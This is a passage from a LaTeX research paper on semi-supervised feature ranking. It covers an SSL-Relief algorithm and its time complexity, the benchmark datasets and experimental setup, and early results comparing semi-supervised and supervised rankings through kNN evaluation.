\STATE{$d_\text{cluster} = d_\mathcal{Y}\big(\bm{r}, \bm{n}_\ell\big)$}
\ELSE
\STATE{$d_\text{cluster} = d_\mathcal{X}\big(\bm{r}, \bm{n}_\ell\big)$}
\ENDIF
\STATE{$P_\text{diffCluster} \mathrel{+}= w\; d_\text{cluster}\big(\bm{r}, \bm{n}_\ell\big)$}
\FOR{$i = 1, 2, \dots, D$}\label{line:updateStart}
\STATE{$\bm{P}_\text{diffAttr}[i] \mathrel{+}= w\; d_i\big(\bm{r}, \bm{n}_\ell\big)$}
\STATE{$\bm{P}_\text{diffAttr, diffCluster}[i] \mathrel{+}= w\; d_i\big(\bm{r}, \bm{n}_\ell\big)\, d_\text{cluster}\big(\bm{r}, \bm{n}_\ell\big) $}\label{line:updateEnd}
\ENDFOR
\ENDFOR
\ENDFOR
\FOR{$i = 1,2, \dots, D$}
\STATE{$\textbf{imp}[i] = \frac{\bm{P}_\text{diffAttr, diffCluster}[i]}{P_\text{diffCluster}}
- \frac{\bm{P}_\text{diffAttr}[i] - \bm{P}_\text{diffAttr, diffCluster}[i]}{s - P_\text{diffCluster}}$}\label{line:weights}
\ENDFOR
\RETURN{$\textbf{imp}$}
\end{algorithmic}
\end{algorithm}
SSL-Relief takes as input the standard parameters ($\dataset_\text{TRAIN}{}$, the number of iterations $m$, and the number of Relief neighbors $k$),
as well as the interval $[w_0, w_1]\subseteq [0, 1]$, which the influence levels of $\bm{r}$-$\bm{n}$ pairs are computed from (line \ref{alg:relief:influence}):
First, for every $(\bm{x}, \bm{y})\in\dataset_\text{TRAIN}{}$, we find the distance $d_{\bm{x}}$ to its nearest labeled neighbor.
If $d = 0$, i.e., the value $\bm{y}$ is known, the influence $w$ of this example is set to $1$. Otherwise, the influence of the example is defined by a linear function $d\mapsto w(d)$ that goes through the points $(\max_{(\bm{x}, ?)} d_{\bm{x}}, w_0)$ and $(\min_{(\bm{x}, ?)} d_{\bm{x}}, w_1)$. Thus, the standard regression version of Relief is obtained when no target values are missing.
\subsection{Time complexity}\label{sec:times-relief}
For technical reasons, the actual implementation of SSL-Relief does not follow the Alg.~\ref{alg:relief} word for word, and first computes all nearest neighbors.
This takes $\mathcal{O}(m M D)$ steps, since the majority of the steps in this stage is needed for computing the distances in the descriptive space.
We use the brute-force method, because it is, for the data at hand, still more efficient than, for example, k-D trees. Since the number of iterations is typically set to be a proportion of $M$ (in our case $m = M$), the number of steps is $\mathcal{O}(M^2 D)$. When computing the instances' influence (line \ref{line:influence}),
only the nearest neighbor of every instance is needed, so this can be done after the $K$-nearest neighbors are computed, within a negligible number of steps.
In the second stage, the probability estimates are computed and the worst-case time complexity is achieved when all examples are labeled since this is the case
when we have to additionally compute $d_{\mathcal{Y}{}}$ (otherwise, we use the stored distances $d_{\mathcal{X}}$).
The number of steps needed for a single computation od $d_{\mathcal{Y}{}}$ depends on the domain:
$\mathcal{O}(1)$ suffices for classification and STR, whereas $\mathcal{O}(T)$ steps are required in the MTR, MLC and HMLC cases.
The estimate updates themselves take $\mathcal{O}(D)$ steps per neighbor, thus, the worst case time complexity is
$\mathcal{O}(M^2 D + k M (T + D)) = \mathcal{O}(M^2 D + k M C)$ where $C = D + T$ is (again) the number of clustering attributes.
\section{Experimental Setup}\label{sec:setup}
In this section, we undertake to experimentally evaluate the proposed feature ranking methods. We do so by answering a set of experimental questions listed below. We then describe in detail how the experimental evaluation is carried out.
\subsection{Experimental questions}
The evaluation is based on the following experimental questions:
\begin{enumerate}
\item For a given ensemble-based feature ranking score, which ensemble method is the most appropriate?
\item Are there any qualitative differences between the semi-supervised and supervised feature rankings?
\item Can the use of unlabeled data improve feature ranking?
\item Which feature ranking algorithm performs best?
\end{enumerate}
\subsection{Datasets}\label{sec:data}
All datasets are well-known benchmark problems that come from different domains. For classification, we have included five new datasets (those below the splitting line of Tab.~\ref{tab:data:stc}), in addition to the previous ones \cite{ssl-fr-stc}.
Since MLC can be seen as a special case of HMLC with a trivial hierarchy, we show the basic characteristics of the considered MLC and HMLC problems in a single table (Tab.~\ref{tab:data:mlc}), separating the MLC and HMLC datasets by a line.
Similarly, the regression problems (for STR and MTR) are shown in Tab.~\ref{tab:data:r}.
The given characteristics of the data differ from tasks to task, but the last column of every table (CH) always gives the estimate of
how well the clustering hypothesis (Asm.~\ref{lab:ch}) holds. For all predictive modeling tasks, this estimate is based on
$k$-means clustering \cite{k-means} or, more precisely, on the agreement between the distribution of the target values in these clusters.
The number of clusters was set to the number of classes in the case of classification, and to $8$ otherwise, i.e.,
the default Scikit Learn's \cite{scikit-learn} parameters are kept. The highest agreement of the five runs of the method is reported.
{\bf CH computation.} In the case of classification, the measure at hand is the Adjusted Random Index \cite{ari} (ARI) that we have already used earlier \cite{ssl-fr-stc}. It
computes the agreement between the classes that examples are assigned via clustering, and the actual class values.
The optimal value of ARI is $1$, whereas the value $0$ corresponds to the case when clustering
is independent of class distribution.
In the other cases, we compute the variance of each target variable, i.e., an actual target in the STR and MTR case,
and a component of the 0/1 vector which a label set in the case of MLC and HMLC is represented by.
Let $\mathcal{C}$ be the set of the obtained clusters, i.e., $c\subseteq \mathscr{D}{}$, for each cluster $c\in\mathcal{C}$.
Then, for every target variable $y_j$, we compute $v_j = \sum_{c} p(c) \textit{Var}{}(c, y_j) / \textit{Var}{}(\mathscr{D}{}, y)$, i.e., the relative decrease of the variance after the clustering is applied, where $p(c)= |c|/|\mathscr{D}{}|$.
It can be proved (using the standard formula for the estimation of sample variance and some algebraic manipulation) that $v_j\leq 1$. Trivially, $v_j\geq 0$. We average the contributions $v_j$ over the target variables
to obtain the score $v$. In the case of HMLC, we use weighted average where the weights are proportional to the hierarchical weights $\alpha_i$, defined in Sec.~\ref{sec:pcts}. Finally, the tables report the values of $\mathit{CH} = 1 - v\in [0, 1]$, to make the value $1$ optimal.
\begin{table}[!b]
\centering
\caption{Basic properties of the classification datasets:
number of examples $|\mathscr{D}{}|$, number of features $D$, number of classes (the $y$-domain size $|\mathcal{Y}{}|$), the proportion of examples in the majority class (MC), and the CH value.}
\begin{tabular}{lrrrrr}
\hline
dataset & \multicolumn{1}{c}{$|\mathscr{D}{}|$} & \multicolumn{1}{c}{$D$} & \multicolumn{1}{c}{$|\mathcal{Y}{}|$} & \multicolumn{1}{l}{MC} & CH \\
\hline
Arrhythmia \cite{uci} & 452 & 279& 16& 0.54& 0.02\\
Bank \cite{uci,moro} & 4521 & 16 & 2 & 0.88& -0.00\\
Chess \cite{uci} & 3196 & 36 & 2 & 0.52& 0.22\\
Dis \cite{openml} & 3772 & 28 & 2 & 0.98& 0.00\\
Gasdrift \cite{uci} & 13910& 128& 6 & 0.22& 0.02\\
Pageblocks \cite{uci} & 5473 & 10 & 5 & 0.90& 0.03\\
Phishing \cite{uci} & 11055& 30 & 2 & 0.56& -0.00\\
Tic-tac-toe \cite{uci} & 958 & 9 & 2 & 0.65& 0.70\\
\hline
Aapc \cite{aapc} & 335 & 84 & 3 & 0.47& 0.34\\
Coil2000 \cite{van2004bias} & 9822 & 85 & 2 & 0.94& -0.00\\
Digits \cite{xu1992methods} & 1797 & 64 & 10& 0.10& -0.00\\
Pgp \cite{levatic2013accurate}& 932 & 183& 2 & 0.52& 0.00\\
Thyroid \cite{uci} & 3772 & 27 & 2 & 0.94& 0.01\\
\hline
\end{tabular}%
\label{tab:data:stc}%
\end{table}%
\begin{table}[!b]
\centering
\caption{Basic properties of the MLC (above the line) and HMLC (below the line) datasets:
number of examples $|\mathscr{D}{}|$, number of features $D$, number of labels $|\mathscr{L}{}|$, label cardinality (average number of labels per example) $\ell_c$,
the depth of hierarchy, and the CH value.}
\begin{tabular}{lrrrrrrr}
\hline
dataset & \multicolumn{1}{c}{$|\mathscr{D}{}|$} & \multicolumn{1}{c}{\;\;$D$} & \multicolumn{1}{c}{$|\mathscr{L}{}|$} &\multicolumn{1}{l}{\;\;$\ell_c$} & depth & shape & CH \\
\hline
Bibtex \cite{KTV08} & 7395 & 1836 & 159& 2.4 & 1 & tree & 0.02 \\
Birds \cite{birds} & 645 & 260 & 19 & 1.0 & 1 & tree & 0.05 \\
Emotions \cite{emotions} & 593 & 72 & 6 & 1.9 & 1 & tree & 0.04 \\
Genbase \cite{genbase} & 662 & 1185 & 27 & 1.3 & 1 & tree & 0.26 \\
Medical \cite{medical} & 978 & 1449 & 45 & 1.3 & 1 & tree & 0.04 \\
Scene \cite{scene} & 2407 & 294 & 6 & 1.1 & 1 & tree & 0.21 \\
\hline
Clef07a-is \cite{clef07a-is} &11006& 80 & 96 & 3.0 & 3.0& tree& 0.05 \\
Ecogen \cite{ecogen} & 1893& 138 & 56 & 15.5& 3.0& tree& 0.03 \\
Enron-corr \cite{enron-corr} &1648 & 1001& 67 & 5.3& 3.0& tree& 0.03 \\
Expr-yeast-FUN \cite{Clare03:phd} &3788 & 552 & 594& 8.9& 4.0& tree& 0.00 \\
Gasch1-yeast-FUN \cite{Clare03:phd}&3773 & 173 & 594& 8.9& 4.0& tree& 0.01 \\
Pheno-yeast-FUN \cite{Clare03:phd} &1592 & 69 & 594& 9.1& 4.0& tree& 0.00 \\
\hline
\end{tabular}%
\label{tab:data:mlc}%
\end{table}%
\begin{table}[!b]
\centering
\caption{Basic properties of the STR and MTR datasets:
number of examples $|\mathscr{D}{}|$, number of features $D$, number of targets $T$, and the CH value.}
\begin{tabular}{lrrrrr}
\hline
dataset & \multicolumn{1}{l}{examples} & \multicolumn{1}{c}{$D$} & \multicolumn{1}{l}{\;\;$T$} & \multicolumn{1}{l}{\;\;CH} \\
\hline
CHEMBL2850 \cite{openml} & 1211 & 1024& 1 & 0.09 \\
CHEMBL2973 \cite{openml} & 1521 & 1024& 1 & 0.18 \\
Mortgage \cite{bilken} & 1049 & 15 & 1 & 0.57 \\
Pol \cite{bilken} & 5000 & 26 & 1 & 0.12 \\
QSAR \cite{openml} & 2145 & 1024& 1 & 0.20 \\
Treasury \cite{bilken} & 1049 & 15 & 1 & 0.54 \\
\hline
Atp1d \cite{Spyromitros} & 337 & 411 & 6 & 0.49 \\
CollembolaV2 \cite{Kampichler00:jrnl} & 393 & 47 & 3 & 0.02 \\
Edm1 \cite{Karalic97:jrnl} & 154 & 16 & 2 & 0.23 \\
Forestry-LIDAR-IRS \cite{Stojanova:msc} & 2730 & 28 & 2 & 0.19 \\
Oes10 \cite{Spyromitros} & 403 & 298 & 16& 0.63 \\
Scm20d \cite{Spyromitros} & 8966 & 61 & 16& 0.16 \\
Soil-quality \cite{soil-q} & 1944 & 142 & 3 & 0.07 \\
\hline
\end{tabular}%
\label{tab:data:r}%
\end{table}%
\subsection{Parameter instantiation}
We parametrize the used methods as follows. The number of trees in the ensembles was set to $100$ \cite{Kocev:Journal:2013}.
The number of features that are considered in each internal node was set to $\sqrt{D}$ for RFs and $D$ for ETs \cite{geurts:extraT}. The optimal value of the level of supervision parameter $w$ for computing the ensembles of PCTs was selected by internal 4-fold cross-validation.
The considered values were $w\in\{0, 0.1, 0.2, \dots, 0.9, 1\}$.
The amount of supervision in SSL-Relief is adaptive, which allows for coarser set of values,
and we consider $w_{1, 2}\in\{0, 0.25, 0.5, 0.75, 1\}$ (where $w_1\leq w_2$). The considered numbers $k$ of Relief neighbors were $k\in\{15, 20, 30\}$,
and the best hyper-parameter setting option (the values of $w_1$, $w_2$, and $k$) was again chosen via internal 4-fold cross-validation. Since more is better when the number of iterations $m$ in Relief is concerned, this parameter was set to $m = |\mathscr{D}{}|$.
The possible numbers of labeled examples $L$ in the training datasets were $L\in\{50, 100, 200, 350, 500\}$ \cite{jurica:phd}.
\subsection{Evaluation pipeline}
For the tasks of MLC and HMLC, the data come with predefined training and test parts ($\dataset_\text{TRAIN}{}$ and $\dataset_\text{TEST}{}$). This is not the case for the tasks of
classification, STR and MTR, therefore, 10-fold cross validation is performed. To obtain the training-test pairs in cross-validation,
we follow the procedure used by \cite{ssl-fr-stc}, as shown in Fig.~\ref{fig:xval}.
\begin{figure}[!htb]
\centering
\includegraphics[width=.8\textwidth]{xval.pdf}
\caption{Training and test set creation in SSL cross-validation: In the test fold, all examples keep their labels,
whereas the folds that form the training set, together contain (approximately) $L$ labeled examples.}
\label{fig:xval}
\end{figure}
Each dataset $\mathscr{D}{}$ is randomly split into $x = 10$ folds which results in the test sets $\dataset_\text{TEST}{}_i$, $0\leq i < x$.
In contrast to cross-validation in the SL scenario, where $\dataset_\text{TRAIN}{}_i = \cup_{j\neq i} \dataset_\text{TEST}{}_j$, we first define the copy $\dataset_\text{TEST}{}_i^L$ of $\dataset_\text{TEST}{}_i$ in which we keep the target values for $\lfloor L /(x - 1)\rfloor + r_i$ randomly selected examples
(orange parts of columns in Fig.~\ref{fig:xval}) and remove the others (white parts).
Here, $\lfloor \cdot \rfloor$ is the floor function, $r$ is the reminder of $L$ when divided by $x - 1$, and $r_i = 1$ if $i < r$ and $0$ otherwise. This assures that every training set $\dataset_\text{TRAIN}{}_i^L = \cup_{j\neq i} \dataset_\text{TEST}{}_i^L$ contains a number of labeled examples as close as possible to $L$.
For the MLC and HMLC data, we can choose $L$ labeled instances from the training set and delete the target values for the others.
This is done for different numbers $L$ of labeled examples, and we make sure that the implication $L_1\leq L_2\Rightarrow $ \emph{labeled examples of $\dataset_\text{TRAIN}{}_i^{L_1}$ are a subset of the labeled examples in $\dataset_\text{TRAIN}{}_i^{L_2}$} holds.
The ranking evaluation proceeds as follows. First, SSL-ranking is computed from $\dataset_\text{TRAIN}{}_i^L$ and its SL counterpart
is computed on the $\dataset_\text{TRAIN}{}_i^L$ with the unlabeled examples removed.
Afterward, both rankings are evaluated on $\dataset_\text{TEST}{}_i^L$ (in the cases of MLC and HMLC, $\dataset_\text{TRAIN}{}^L$ and $\dataset_\text{TEST}{}^L$ are used).
This is done by using the $k$NN algorithm with $k\in\{20, 40\}$ where weighted version of the standard squared Euclidean distance is used.
For two input vectors $\bm{x}^1$ in $\bm{x}^2$, the distance $d$ between them is defined as
$d(\bm{x}^1, \bm{x}^2) = \sum_{i = 1}^D w_i d_i^2(\bm{x}_i^1, \bm{x}_i^2)$,
where $d_i$ is defined as in Eq.~\eqref{eqn:metric}. The dimensional weights $w_i$ are defined as $w_i = \max\{\mathit{importance}(x_i), 0\}$,
since Random Forest and Relief ranking can award a feature a negative score. In the degenerated case when the resulting values all equal $0$, we define $w_i = 1$, for all features $x_i$. The first step is necessary to ignore the features that are of lower importance than a randomly generated one would be.
The second step is necessary to ensure $d$ is well-defined. We chose more than one value of $k$ to show the qualitative differences
between the supervised and semi-supervised feature rankings.
The evaluation through $k$NN was chosen because of three main reasons. First it can be used for all the considered predictive modeling tasks. Second, this is a distance based method, hence, it can easily make use of the information
contained in the feature importances in the learning phase. Third, $k$NN is simple: Its only parameter is the number of neighbors.
In the prediction stage, the neighbors' contributions to the predicted value are equally weighted, so we do not introduce additional parameters that would influence the performance.
\subsection{Evaluation measures}\label{sec:measures}
To asses the predictive performance of a $k$NN model, the following evaluation measures are used:
$F_1$ for classification (macro-averaged for multi-class problems),
Root Relative Squared Error (RRMSE) for STR and MTR, and area under the average precision-recall curve for MLC and HMLC ($\operatorname{AU}\overline{\mbox{PRC}}${}).
Their definitions are given in the Tab.~\ref{tab:measuers}.
In the cross-validation setting, we average the scores over the folds (taking test set sizes into account).
\begin{table}[ht]
\centering
\caption{Evaluation measures, for different predictive modeling tasks. The $F_1$ measure and $\operatorname{AU}\overline{\mbox{PRC}}${} are defined in terms of
precision $p = \binaryProblemExamples{tp}{} / (\binaryProblemExamples{tp}{} + \binaryProblemExamples{fp}{})$ and recall $r = \binaryProblemExamples{tp}{} / (\binaryProblemExamples{tp}{} + \binaryProblemExamples{fn}{})$,
where the numbers $\binaryProblemExamples{tp}{}$, $\binaryProblemExamples{fp}{}$ and $\binaryProblemExamples{fn}{}$ denote the number of true positive, false positive and false negative examples, respectively.}
\label{tab:measuers}
\begin{tabular}{l|l|l}
\hline\noalign{\smallskip}
tasks & measure & definition \\
\noalign{\smallskip}\hline\noalign{\smallskip}
classification &$F_1$ & $2/ (1/p + 1 / r)$\\
MLC, HMLC &$\operatorname{AU}\overline{\mbox{PRC}}${} & area under the micro-averaged precision-recall curve \\
STR, MTR & RRMSE & $\frac{1}{T}\sum_{j = 1}^T\sqrt{\frac{1}{|\dataset_\text{TEST}{}|}\sum_{(\bm{x}, \bm{y})\in\dataset_\text{TEST}{}} \frac{(\hat{\bm{y}}_j - \bm{y}_j)^2}{ \textit{Var}{}(\dataset_\text{TEST}{}, \bm{y}_j)}}$ \\
\noalign{\smallskip}\hline
\end{tabular}
\end{table}
For each ranking and dataset,
we construct a curve that consist of points $(L, \mathit{performance}_L)$. The comparison of two methods is
then based either i) on these curves directly (see Fig.~\ref{fig:ssl-vs-sl}), or ii) on the area under the computed curves.
\subsection{The considered methods}\label{sec:considered-methods}
The methods that our proposed methods are compared to, depend on the predictive modeling task:
\begin{itemize}
\item Classification: We have shown \cite{ssl-fr-stc} that ensemble-based ranking algorithms
have state-of-the-art performance. Thus, their and Relief's SSL and SL versions are compared against each other.
\item STR: As mentioned before (Sec.~\ref{sec:related}), the existing SSL state-of-the-art competitor is Laplace,
thus we compare Laplace, and the SL/SSL versions of both ensemble-based rankings and Relief-based rankings, against each other.
\item MTR, MLC, HMLC: To the best of our knowledge, there are no existing methods that can perform feature ranking
in the SSL structured output prediction scenarios, thus, we compare both versions of ensemble-based rankings and Relief-based rankings against each other.
\end{itemize}
Despite our best efforts, we could not obtain any existing implementation of the Laplace method, so we provide ours together with the rest of the code.
Also note that the ensemble-based and Relief-based methods work out of the box, i.e., no data preprocessing is necessary, whereas by design, Laplace can handle only numeric features. To overcome this issue, we extend the method by the following procedure: i) transform the nominal features using 1-hot encoding, ii) compute the Laplace scores $s_i$,
iii) for the originally nominal features $x_i$, define their score $s_i$ as the sum of the scores of the corresponding 1-hot encoded features, and, finally,
iv) define the importance scores $\mathit{importance}{}_\text{Laplace}(x_i) = S + s - s_i$ (where $S$ and $s$ denote the maximum and the minimum of the scores, respectively).
The last step is necessary since less is better, for the originally computed Laplace scores. The transformation $s_i\mapsto S + s - s_i$ maps $S$ to $s$ and vice-versa,
thus, the scale remains intact.
The other problem of the method are constant features (they cause $0/0$ values), present, for example, in QSAR data: These had to be manually removed.
\section{Results}\label{sec:results}
Unless stated otherwise, the rankings are compared in terms of the areas under the performance curves (see Sec.~\ref{sec:measures}).
When a SSL-ranking is compared to a SL-ranking, and the difference $\Delta$ between the two performances is computed,
$\Delta > 0$ always corresponds to the case when the SSL-ranking performs better.
\subsection{The optimal ensemble method for ensemble-based ranking}\label{sec:best-ens}
We first determine the most appropriate ensemble method, for each of the three ensemble scores,
and their two versions (SSL and SL). The results in Tab.~\ref{tab:best-ensemble} give the average ranks of the ensemble methods in each setting,
in terms of the areas under the performance curves.
\begin{table}[htbp]
\centering
\caption{Average ranks of the considered SSL and SL ensembles, for a fixed ensemble-based score and predictive modeling task.
The best ranks are shown in bold, unless all three methods perform equally well. In the case of ties, we bold the most efficient method (see Tab.~\ref{tab:ens-time-ranks}).}
\label{tab:best-ensemble}
\begin{tabular}{|c|l|ccl|ccl|}
\hline
\multirow{2}[2]{*}{task} & \multicolumn{1}{c|}{\multirow{2}[2]{*}{score}} & \multicolumn{3}{c|}{SSL ensemble} & \multicolumn{3}{c|}{SL ensemble} \\
& & RFs & ETs & bagging & RFs & ETs & bagging \\
\hline
\multirow{3}[2]{*}{classification} & Genie3 & 2.00 & 2.15 & \textbf{1.85} & \textbf{1.69} & 2.46 & 1.85 \\
& Random Forest & \textbf{1.92} & 2.15 & 1.92 & 2.00 & 2.08 & \textbf{1.92} \\
& Symbolic & \textbf{1.77} & 2.23 & 2.00 & \textbf{1.77} & 2.23 & 2.00 \\
\hline
\multirow{3}[2]{*}{MLC} & Genie3 & \textbf{1.50} & 2.67 & 1.83 & 2.17 & 2.17 & \textbf{1.67} \\
& Random Forest & \textbf{2.00} & 2.00 & 2.00 & \textbf{1.67} & 2.00 & 2.33 \\
& Symbolic & \textbf{1.33} & 2.33 & 2.33 & 2.00 & 2.50 & \textbf{1.50} \\
\hline
\multirow{3}[2]{*}{HMLC} & Genie3 & \textbf{1.67} & 2.00 & 2.33 & \textbf{1.67} & 1.83 & 2.50 \\
& Random Forest & 2.17 & \textbf{1.83} & 2.00 & 1.83 & \textbf{1.67} & 2.50 \\
& Symbolic & 2.17 & 2.00 & \textbf{1.83} & \textbf{1.67} & 2.00 & 2.33 \\
\hline
\multirow{3}[2]{*}{STR} & Genie3 & \textbf{1.67} & 2.00 & 2.33 & 2.17 & 2.00 & \textbf{1.83} \\
& Random Forest & 2.00 & \textbf{1.83} & 2.17 & 2.67 & \textbf{1.67} & 1.67 \\
& Symbolic & 2.17 & \textbf{1.50} & 2.33 & 2.33 & \textbf{1.83} & 1.83 \\
\hline
\multirow{3}[2]{*}{MTR} & Genie3 & 2.14 & \textbf{1.86} & 2.00 & 2.43 &\textbf{1.71} & 1.86 \\
& Random Forest & 2.29 & 2.14 & \textbf{1.57} & 2.43 & \textbf{1.71} & 1.86 \\
& Symbolic & \textbf{2.00} & 2.00 & 2.00 & 2.29 & \textbf{1.71} & 2.00 \\
\hline
\end{tabular}
\end{table}
We observe that for both regression tasks (STR and MTR), RFs ensembles almost never perform best (with the exception of Genie3 SSL-rankings),
whereas for the other three classification-like tasks, they quite consistently outperform the other two ensemble methods.
The differences among the average ranks are typically not considerable (with the exception of the most of the MLC rankings, and supervised MTR rankings)
which is probably due to the fact that the split selection mechanisms of the considered ensemble methods are still quite similar,
and the trees are fully-grown, so sooner or later, a relevant feature appears in the node. In the case of ties, we choose the
more efficient one (see Tab.~\ref{tab:ens-time-ranks}): RFs are always the most efficient, whereas the second place is determined by the number of possible splits
per feature. For lower values (e.g., when most of the features are binary, as is the case in MLC and HMLC data), bagging is faster than ETs.
\begin{table}[htbp]
\centering
\caption{Average ranks of the ensemble methods, in terms of induction times.}\label{tab:ens-time-ranks}%
\begin{tabular}{|l|rrr|}
\hline
task & \multicolumn{1}{l}{RFs} & \multicolumn{1}{l}{ETs} & \multicolumn{1}{l|}{bagging} \\
\hline
classification & \textbf{1.00} & 2.23 & 2.77\\
MLC & \textbf{1.00} & 2.67 & 2.33 \\
HMLC & \textbf{1.00} & 2.50 & 2.50 \\
STR & \textbf{1.17} & 2.33 & 2.50 \\
MTR & \textbf{1.29} & 1.71 & 3.00\\
\hline
\end{tabular}%
\end{table}%
To make the later graphs more readable, we plot, for every score, only the curve that corresponds to the most suitable ensemble method for this score.
\subsection{Qualitative difference between SSL and SL rankings}
We first discuss the qualitative difference between the SSL-rankings and their supervised counterparts.
In the process of obtaining a feature ranking, the SSL-version of the ranking algorithm sees more examples than its supervised version,
and it turns out that this is well-reflected in the results. Fig.~\ref{fig:ssl-vs-sl} shows the results for five datasets (one dataset, for each task)
and the performance of the rankings, as assessed by $k$NN models, for $k\in\{20, 40\}$. Those two values of $k$ are used to show that SSL-rankings
tend to capture a more global picture of data, whereas the supervised ones reflect a more local one.
\begin{table}[htb]
\centering
\caption{Proportions of the computed feature rankings whose SSL-version captures more global properties of the data, as compared to its supervised version.
The differences $\delta_{20}$ and $\delta_{40}$ of the areas under the performance curves of $20$NN and $40$NN models are computed
(always in a way that $\delta > 0$ means that SSL-version performs better). Therefore, if $\Delta = \delta_{40} -\delta_{20} > 0$,
then the SSL-version of the ranking is more global, and is more local if $\Delta < 0$.}
\label{tab:locality}
\begin{tabular}{|l|ccccc|}
\hline
task & classification & MLC & HMLC & STR & MTR \\
\hline
$P[\Delta > 0]$ & 0.73 & 0.83 & 0.96 & 1.00 & 0.93 \\
\hline
\end{tabular}
\end{table}
This phenomenon is most visible in the two regression datasets. In the case of the \texttt{treasury} dataset,
SSL-rankings perform worse than supervised ones on the local scale for smaller numbers $L$ of labeled examples (Fig.~\ref{fig:ssl-vs-sl:str:20}),
and are equal or better for $L\geq 200$. However, on the global scale (Fig.~\ref{fig:ssl-vs-sl:str:40}), the SSL-rankings are clear winners.
A similar situation is observed for the other datasets in Fig.~\ref{fig:ssl-vs-sl}, and also in general.
Tab.~\ref{tab:locality} reveals that for the vast majority of the rankings (and datasets), the SSL rankings are more global.
This proportion is the highest for STR data (it even equals $100\%$), and is understandably the lowest for classification, where the datasets
have the smallest number of examples on average.
\begin{figure*}[h!]
\centering
\begingroup
\captionsetup[subfigure]{width=0.49\textwidth}
\subfloat[classification: digits, $20$NN\label{fig:ssl-vs-sl:stc:20}]{
\includegraphics[trim={0.68cm 0.7cm 0.72cm 0.7cm},clip,width=0.47\textwidth]{stc-digits-20-nn-best.pdf}}
\endgroup
\begingroup
\captionsetup[subfigure]{width=0.49\textwidth}
\subfloat[classification: digits, $40$NN\label{fig:ssl-vs-sl:stc:40}]{
\includegraphics[trim={0.68cm 0.7cm 0.72cm 0.7cm},clip,width=0.47\textwidth]{stc-digits-40-nn-best.pdf}}
\endgroup
\begingroup
\captionsetup[subfigure]{width=0.49\textwidth}
\subfloat[MLC: genbase, $20$NN\label{fig:ssl-vs-sl:mlc:20}]{
\includegraphics[trim={0.7cm 0.7cm 0.7cm 0.7cm},clip,width=0.47\textwidth]{mlc-genbase-20-nn-best.pdf}}
\endgroup
\begingroup
\captionsetup[subfigure]{width=0.49\textwidth}
\subfloat[MLC: genbase, $40$NN\label{fig:ssl-vs-sl:mlc:40}]{
\includegraphics[trim={0.7cm 0.7cm 0.7cm 0.7cm},clip,width=0.47\textwidth]{mlc-genbase-40-nn-best.pdf}}
\endgroup
\begingroup
\captionsetup[subfigure]{width=0.49\textwidth}
\subfloat[HMLC: ecogen, $20$NN\label{fig:ssl-vs-sl:hmlc:20}]{
\includegraphics[trim={0.7cm 0.7cm 0.7cm 0.7cm},clip,width=0.47\textwidth]{hmlc-ecogen-20-nn-best.pdf}}
\endgroup
\begingroup
\captionsetup[subfigure]{width=0.49\textwidth}
\subfloat[HMLC: ecogen, $40$NN\label{fig:ssl-vs-sl:hmlc:40}]{
\includegraphics[trim={0.7cm 0.7cm 0.7cm 0.7cm},clip,width=0.47\textwidth]{hmlc-ecogen-40-nn-best.pdf}}
\endgroup
\begingroup
\captionsetup[subfigure]{width=0.49\textwidth}
\subfloat[STR: treasury, $20$NN\label{fig:ssl-vs-sl:str:20}]{
\includegraphics[trim={0.7cm 0.7cm 0.7cm 0.7cm},clip,width=0.47\textwidth]{str-treasury-20-nn-best.pdf}}
\endgroup
\begingroup
\captionsetup[subfigure]{width=0.49\textwidth}
\subfloat[STR: treasury, $40$NN\label{fig:ssl-vs-sl:str:40}]{
\includegraphics[trim={0.7cm 0.7cm 0.7cm 0.7cm},clip,width=0.47\textwidth]{str-treasury-40-nn-best.pdf}}
\endgroup
\begingroup
\captionsetup[subfigure]{width=0.49\textwidth}
\subfloat[MTR: oes10, $20$NN\label{fig:ssl-vs-sl:mtr:20}]{
\includegraphics[trim={0.7cm 0.7cm 0.7cm 0.7cm},clip,width=0.47\textwidth]{mtr-oes10-20-nn-best.pdf}}
\endgroup
\begingroup
\captionsetup[subfigure]{width=0.49\textwidth}
\subfloat[MTR: oes10, $40$NN\label{fig:ssl-vs-sl:mtr:40}]{
\includegraphics[trim={0.7cm 0.7cm 0.7cm 0.7cm},clip,width=0.47\textwidth]{mtr-oes10-40-nn-best.pdf}}
\endgroup
\caption{Comparison of the SL and SSL feature rankings, for different predictive modeling tasks.
The curves for the SSL and the SL versions of a ranking are shown as a solid and a dashed line of the same color.
The graphs in the left column use $20$NN models in the evaluation, whereas those in the right, use $40$NN models.}
\label{fig:ssl-vs-sl}
\end{figure*}
\FloatBarrier
\subsection{Can unlabeled data improve feature rankings?}
To answer this question, we compare the SSL versions of the proposed feature rankings to their supervised counterparts.
In the previous section, we explained why sometimes the answer is not straightforward and depends on whether one is interested in a global or local scale.
Since the question is whether the ranking can be improved by using unlabeled data, and given the qualitative differences between the SSL- and SL-versions
of the rankings from the previous section, we fix the number of neighbors to $k = 40$.
We start with the classification results given in Tab.~\ref{tab:classification}.
\begin{table}[htbp]
\centering
\caption{The differences $\Delta$ of areas under the curves of $F_1$-values of the $40$NN models with distance weights based on SSL-rankings and SL-rankings.}\label{tab:classification}%
\begin{tabular}{|c|l|rrrr|r|}
\hline
&datasets & \multicolumn{1}{l}{Genie3} & \multicolumn{1}{l}{RForest} & \multicolumn{1}{l}{Symbolic} & \multicolumn{1}{l|}{Relief} & CH \\
\hline
\multirow{13}{*}{\STAB{\rotatebox[origin=c]{90}{classification}}} &
Arrhythmia & 0.039 & 0.008 & 0.022 & 0.006 & 0.02\\
&Bank & 0.064 & 0.067 & 0.061 & 0.050 & -0.00\\
&Chess & -0.084& 0.021 & -0.081& 0.022 & 0.22\\
&Dis & 0.066 & 0.046 & 0.050 & 0.123 & 0.00\\
&Gasdrift & 0.041 & 0.038 & 0.053 & 0.109 & 0.02\\
&Pageblocks & 0.272 & 0.250 & 0.250 & 0.243 & 0.03\\
&Phishing & -0.125& -0.128& -0.132& -0.115& -0.00\\
&Tic-tac-toe& 0.148 & 0.225 & 0.152 & 0.141 & 0.70\\
&Aapc & 0.115 & 0.041 & 0.067 & 0.110 & 0.34\\
&Coil2000 & 0.019 & 0.029 & 0.022 & 0.020 & -0.00\\
&Digits & 0.170 & 0.204 & 0.198 & 0.245 & -0.00\\
&Pgp & 0.043 & 0.113 & 0.096 & 0.139 & 0.00\\
&Thyroid & 0.288 & 0.268 & 0.285 & 0.265 & 0.01\\
\hline
\end{tabular}%
\end{table}%
From the mainly positive numbers in the table, one can conclude that SSL-rankings successfully recognize the structure of data,
and outperform their supervised analogs, even in most of the cases where the CH values are low, e.g., for \texttt{digits} dataset in Fig.~\ref{fig:ssl-vs-sl:stc:20},
